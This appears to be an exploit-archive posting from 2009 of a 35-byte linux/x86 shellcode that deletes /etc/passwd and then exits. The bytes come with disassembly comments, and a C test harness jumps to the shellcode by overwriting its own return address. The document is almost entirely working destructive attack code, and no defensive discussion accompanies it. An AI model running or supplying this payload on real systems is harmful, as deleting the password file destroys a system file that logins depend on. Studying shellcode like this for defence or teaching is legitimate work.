# Title: linux/x86 unlink(/etc/passwd) & exit() 35 bytes
# Date: 2009-12-24
# Author: sandman, n4mdn4s [4T] gmail [D0T] com
# Tested on: linux/Fedora 12
# Code :
/*
unlink_passwd.c
Platform: linux/x86
Size: 35 bytes
Author: $andman
*/
#include <string.h>
#include <stdio.h>
char shell[] = "\xeb\x11" //jmp 8048073
"\x5e" //pop %esi
"\x31\xc0" //xor %eax,%eax
"\x31\xc9" //xor %ecx,%ecx
"\x31\xd2" //xor %edx,%edx
"\xb0\x0a" //mov $0xa,%al
"\x89\xf3" //mov %esi,%ebx
"\xcd\x80" //int $0x80
"\xb0\x01" //mov $0x1,%al
"\xcd\x80" //int $0x80
"\xe8\xea\xff\xff\xff" //call 8048062
"\x2f" //das
"\x65" //gs
"\x74\x63" //je 80480df
"\x2f" //das
"\x70\x61" //jo 80480e0
"\x73\x73" //jae 80480f4
"\x77\x64"; //ja 80480e7
int main()
{
printf("Shellcode Length: %d\n",strlen(shell));
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shell;
}
//#$
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